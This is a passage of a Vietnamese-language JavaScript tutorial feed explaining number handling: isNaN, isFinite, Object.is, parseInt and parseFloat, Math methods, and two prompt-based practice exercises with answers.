class="token operator">*</span> <span class="token number">10</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">10</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>sum1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0.3</span> <span class="token comment">// Sử dụng toFixed(1)</span> <span class="token keyword">let</span> sum2 <span class="token operator">=</span> <span class="token punctuation">(</span>a <span class="token operator">+</span> b<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>sum2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0.3</span></code></pre></div> <h2 id="kiểm-tra-số-với-isnan-và-isfinite" style="position:relative;"><a href="#ki%E1%BB%83m-tra-s%E1%BB%91-v%E1%BB%9Bi-isnan-v%C3%A0-isfinite" aria-label="kiểm tra số với isnan và isfinite permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra số với <code>isNaN</code> và <code>isFinite</code></h2> <p>Để kiểm tra number trong JavaScript, bạn có thể dùng một trong hai hàm là: <code>isNaN</code> hoặc <code>isFinite</code>.</p> <p>► Hàm<code>isNaN(value)</code>:</p> <p>Hàm này chuyển đổi <code>value</code> thành dạng số rồi kiểm tra xem có bằng <code>NaN</code> hay không.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isNaN</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isNaN</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isNaN</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false - "1" chuyển sang số thành 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isNaN</span><span class="token punctuation">(</span><span class="token string">"abc"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true - "abc" không thể chuyển thành số</span></code></pre></div> <p>Vấn đề là hàm <code>isNaN</code> có thật sự cần thiết hay không?</p> <p>Câu trả lời là <strong>CÓ</strong>. Bởi vì giá trị <code>NaN</code> là duy nhất. <code>NaN</code> không bằng bất kỳ giá trị nào khác:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">NaN</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token number">NaN</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a <span class="token operator">===</span> a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a <span class="token operator">===</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Nghĩa là bạn không thể dùng toán tử so sánh bằng <code>===</code> để so sánh số với <code>NaN</code>.</p> <p>► Hàm <code>isFinite(value)</code>:</p> <p>Hàm này chuyển đổi giá trị <code>value</code> thành dạng số và trả về <code>true</code> nếu số đó khác <code>Infinity</code>, <code>-Infinity</code> và <code>NaN</code>, ngược lại thì trả về <code>false</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isFinite</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true - "1" chuyển thành 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isFinite</span><span class="token punctuation">(</span><span class="token string">"abc"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false - "abc" chuyển sang số thành NaN</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isFinite</span><span class="token punctuation">(</span><span class="token number">1e500</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false - 1e500 bằng Infinity</span></code></pre></div> <p>Hàm <code>isFinite(value)</code> cũng thường dùng để kiểm tra một giá trị string có phải là số bình thường hay không.</p> <p>Ví dụ khi nhập vào một số với <a href="/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/">hàm <code>prompt</code></a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> num <span class="token operator">=</span> <span class="token operator">+</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Nhập vào một số:"</span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// trả về true</span> <span class="token comment">// trừ khi người dùng nhập vào Infinity, -Infinity hoặc không phải number</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isFinite</span><span class="token punctuation">(</span>num<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <blockquote> <p>📝 <strong>Chú ý:</strong></p> <p><strong>String rỗng hoặc string toàn dấu cách</strong> chuyển sang dạng số thành số <code>0</code>.</p> <p>Để so sánh hai number trong JavaScript, bạn cũng có thể dùng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a>:</p> <ol> <li>Phương thức này sử dụng được với <code>NaN</code>: <code>Object.is(NaN,NaN)</code> bằng <code>true</code>.</li> <li>Hai giá trị <code>0</code> và <code>-0</code> là khác nhau: <code>Object.is(0,-0)</code> bằng <code>false</code>. Bởi vì JavaScript sử dụng 1 bit để biểu diễn dấu (<code>0</code> - số dương và <code>1</code> - số âm), nên hai giá trị <code>0</code> và <code>-0</code> khác nhau.</li> </ol> <p>Trong hầu hết các trường hợp, phương thức <code>Object.is</code> tương đương với so sánh bằng nghiêm ngặt <code>===</code>.</p> </blockquote> <h2 id="hàm-parseint-và-hàm-parsefloat" style="position:relative;"><a href="#h%C3%A0m-parseint-v%C3%A0-h%C3%A0m-parsefloat" aria-label="hàm parseint và hàm parsefloat permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm <code>parseInt</code> và hàm <code>parseFloat</code></h2> <p>Có thể bạn đã biết hai cách để chuyển đổi string thành dạng số là:</p> <ul> <li>Sử dụng hàm <code>Number()</code>.</li> <li>Sử dụng toán tử một ngôi <code>+</code>.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Number</span><span class="token punctuation">(</span><span class="token string">"1.23"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1.23</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">+</span><span class="token string">"1.23"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1.23</span></code></pre></div> <p>Tuy nhiên, nếu trong string chứa kí tự không phải dạng số thì kết quả là <code>NaN</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Number</span><span class="token punctuation">(</span><span class="token string">"100px"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">+</span><span class="token string">"100px"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span></code></pre></div> <p>Thực tế, có một số trường hợp string chứa <strong>cả số và đơn vị</strong> phía sau như <code>100px</code>, <code>10rem</code>, <code>1.1em</code>,... Làm sao để tách lấy phần số từ các string này?</p> <p>Trong JavaScript, bạn có thể sử dụng hai hàm <code>parseInt</code> và <code>parseFloat</code>. Hai hàm này sẽ đọc string từ trái sang phải cho đến khi gặp kí tự không thỏa mãn thì dừng lại.</p> <ul> <li>Hàm <code>parseInt</code> tách lấy số nguyên.</li> <li>Hàm <code>parseFloat</code> tách lấy số thực.</li> </ul> <p>Một số ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">parseInt</span><span class="token punctuation">(</span><span class="token string">"100px"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 100</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">parseFloat</span><span class="token punctuation">(</span><span class="token string">"1.1em"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1.1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">parseInt</span><span class="token punctuation">(</span><span class="token string">"1.2"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">parseFloat</span><span class="token punctuation">(</span><span class="token string">"1.2.3"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1.2</span></code></pre></div> <p>Nếu không thể tách được số nào thì <code>parseInt</code> và <code>parseFloat</code> trả về <code>NaN</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">parseInt</span><span class="token punctuation">(</span><span class="token string">"$100"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">parseFloat</span><span class="token punctuation">(</span><span class="token string">"$100"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span></code></pre></div> <blockquote> <p>💡 <strong>Chú ý:</strong> hàm <code>parseInt(value, radix)</code> có tham số thứ hai <code>radix</code> biểu diễn hệ cơ số (từ <code>2</code> đến <code>36</code>).</p> </blockquote> <p>Ví dụ tách lấy số nguyên ở các hệ cơ số khác nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">parseInt</span><span class="token punctuation">(</span><span class="token string">"0xff"</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 255</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">parseInt</span><span class="token punctuation">(</span><span class="token string">"ff"</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 255 - có thể bỏ qua phần tiền tố</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">parseInt</span><span class="token punctuation">(</span><span class="token string">"kf12oi"</span><span class="token punctuation">,</span> <span class="token number">36</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1234567890</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">parseInt</span><span class="token punctuation">(</span><span class="token string">"100"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 4</span></code></pre></div> <h2 id="một-số-hàm-toán-học" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-h%C3%A0m-to%C3%A1n-h%E1%BB%8Dc" aria-label="một số hàm toán học permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số hàm toán học</h2> <p>Ngoài các phương thức <code>Math.floor</code>, <code>Math.ceil</code>, <code>Math.round</code> và <code>Math.trunc</code> đã trình bày ở trên, đối tượng <code>Math</code> còn có các phương thức khác giúp bạn thực hiện một số hàm toán học.</p> <p>► <code>Math.random()</code></p> <p>Phương thức này trả về một giá trị ngẫu nhiên từ <code>0</code> đến <code>1</code> (không bao gồm <code>1</code>), ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0.7097565480172887</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0.6064789549780443</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0.730830858416105</span></code></pre></div> <p>► <code>Math.max(a, b, c,...)</code> và <code>Math.min(a, b, c,...)</code></p> <p>Hai phương thức này trả về giá trị lớn nhất (nhỏ nhất) từ một dãy số đầu vào.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3.2</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">min</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3.2</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -1</span></code></pre></div> <p>► <code>Math.pow(n, base)</code></p> <p>Trả về số <code>n</code> mũ <code>base</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">pow</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 8 - vì bằng 2 mũ 3</span></code></pre></div> <p>Đối tượng <code>Math</code> còn rất nhiều phương thức hữu ích khác. Bạn có thể tham khảo thêm tại bài viết: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math">Math</a>.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là một số kiến thức về number trong JavaScript.</p> <p>Bạn có thể dùng kí tự <code>_</code> để ngăn cách các chữ số cho dễ nhìn. Ví dụ <code>1_000_000_000</code> tương đương <code>1000000000</code>.</p> <p>Trường hợp có nhiều chữ số <code>0</code> đằng sau, bạn có thể dùng kí tự <code>e</code> theo sau là một số <code>N</code> để biểu diễn:</p> <ul> <li>Với <code>N</code> dương thì <code>eN</code> tương đương nhân với <strong>10 mũ N</strong>, ví dụ: <code>2e6</code> bằng <code>2000000</code>.</li> <li>Với <code>N</code> âm thì <code>eN</code> tương đương chia cho <strong>10 mũ N</strong>, ví dụ: <code>2e-6</code> bằng <code>0.000002</code>.</li> </ul> <p>JavaScript hỗ trợ biểu diễn số ở hệ cơ số khác:</p> <ul> <li>Hệ cơ số 16 sử dụng tiền tồ <code>0x</code>.</li> <li>Hệ cơ số 8 sử dụng tiền tố <code>0o</code>.</li> <li>Hệ cơ số 2 sử dụng tiền tố <code>0b</code>.</li> </ul> <p>Để chuyển một số sang string với hệ cơ số tương ứng, bạn dùng <code>num.toString(base)</code>, với <code>base</code> là hệ cơ số có giá trị từ <code>2</code> đến <code>36</code>.</p> <p>Để kiểm tra xem một số có phải <code>NaN</code> hay không, bạn dùng hàm <code>isNaN</code>. Hàm <code>isNaN(value)</code> chuyển giá trị <code>value</code> thành dạng số, rồi trả về <code>true</code> nếu số đó là <code>NaN</code>, ngược lại thì trả về <code>false</code>.</p> <p>Để kiểm tra xem một số có phải số thông thường hay không, bạn dùng <code>isFinite</code>. Hàm <code>isFinite(value)</code> chuyển giá trị <code>value</code> thành dạng số, rồi trả về <code>true</code> nếu số đó khác <code>Infinity</code>, <code>-Infinity</code> và <code>NaN</code>.</p> <p>Để chuyển đổi string thành dạng số, bạn có thể dùng hàm <code>parseInt</code> hoặc hàm <code>parseFloat</code>. Cả hai hàm này đều đọc string từ trái sang phải cho đến khi gặp kí tự không thỏa mãn thì dừng lại:</p> <ul> <li>Hàm <code>parseInt</code>: tách lấy phần số nguyên.</li> <li>Hàm <code>parseFloat</code>: tách lấy phần số thực.</li> </ul> <p>Đối tượng <code>Math</code> có các phương thức giúp bạn thực hiện các phép toán số học với number trong JavaScript như:</p> <ul> <li>Làm tròn số: <code>Math.floor</code>, <code>Math.ceil</code>, <code>Math.round</code> và <code>Math.trunc</code>.</li> <li>Tìm số ngẫu nhiên: <code>Math.random</code>.</li> <li>Tìm giá trị lớn nhất / nhỏ nhất: <code>Math.max</code>, <code>Math.min</code>.</li> <li>Tính lũy thừa: <code>Math.pow</code>.</li> <li>...</li> </ul> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Viết code thực hiện yêu cầu sau:</p> <ol> <li>Dùng hàm <a href="/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/"><code>prompt</code></a> yêu cầu người dùng nhập vào hai số.</li> <li>Tính và hiển thị tổng hai số.</li> </ol> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 1. Dùng hàm `prompt` yêu cầu người dùng nhập vào hai số.</span> <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token operator">+</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Nhập vào số thứ nhất:"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token operator">+</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Nhập vào số thứ hai:"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2. Tính và hiển thị tổng hai số.</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a <span class="token operator">+</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Viết hàm <code>readNumber</code> thực hiện yêu cầu sau:</p> <ol> <li>Dùng hàm <code>prompt</code> hỏi người dùng để nhập vào số.</li> <li>Nếu người dùng nhập vào số bình thường thì dừng lại và trả về số đó.</li> <li>Ngược lại, nếu người dùng không nhập vào số bình thường thì tiếp tục hỏi.</li> </ol> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// định nghĩa hàm</span> <span class="token keyword">function</span> <span class="token function">readNumber</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// yêu cầu người dùng nhập vào số</span> <span class="token keyword">let</span> n <span class="token operator">=</span> <span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Nhập vào số:"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kiểm tra điều kiện không phải số bình thường</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">===</span> <span class="token string">""</span> <span class="token operator">||</span> n <span class="token operator">===</span> <span class="token keyword">null</span> <span class="token operator">||</span> n <span class="token operator">===</span> <span class="token keyword">undefined</span> <span class="token operator">||</span> <span class="token operator">!</span><span class="token function">isFinite</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">continue</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token operator">+</span>n<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// gọi hàm</span> <span class="token keyword">let</span> n <span class="token operator">=</span> <span class="token function">readNumber</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> </div> </div> </div> <p>Tham khảo:</p> <ul> <li><a href="https://javascript.info/number">Numbers</a></li> <li><a href="https://vi.wikipedia.org/wiki/S%E1%BB%91_th%E1%BB%B1c_d%E1%BA%A5u_ph%E1%BA%A9y_%C4%91%E1%BB%99ng#IEEE_754:_chu%E1%BA%A9n_d%E1%BA%A5u_ph%E1%BA%A9y_%C4%91%E1%BB%99ng_trong_m%C3%A1y_t%C3%ADnh_ng%C3%A0y_nay">Số thực dấu phẩy động IEEE-7554</a></li> </ul>[email protected]<![CDATA[Các phương thức của kiểu nguyên thủy]]><![CDATA[JavaScript cho phép bạn sử dụng kiểu nguyên thủy giống như object. Nghĩa là bạn có thể gọi các phương thức của kiểu nguyên thủy giống như gọi với object. Nghe có vẻ vô lý nhưng…]]>https://completejavascript.com/phuong-thuc-cua-kieu-nguyen-thuy/https://completejavascript.com/phuong-thuc-cua-kieu-nguyen-thuy/<![CDATA[Kiểu dữ liệu]]><![CDATA[String]]>Wed, 24 May 2017 08:00:00 GMT<p>JavaScript cho phép bạn sử dụng kiểu nguyên thủy giống như object. Nghĩa là bạn có thể <strong>gọi các phương thức của kiểu nguyên thủy</strong> giống như gọi với object.</p> <p>Nghe có vẻ vô lý nhưng đúng là như vậy. Trước khi đi vào chi tiết, bạn cần phân biệt rõ kiểu nguyên thủy và object.</p> <h2 id="phân-biệt-kiểu-nguyên-thủy-và-object" style="position:relative;"><a href="#ph%C3%A2n-bi%E1%BB%87t-ki%E1%BB%83u-nguy%C3%AAn-th%E1%BB%A7y-v%C3%A0-object" aria-label="phân biệt kiểu nguyên thủy và object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 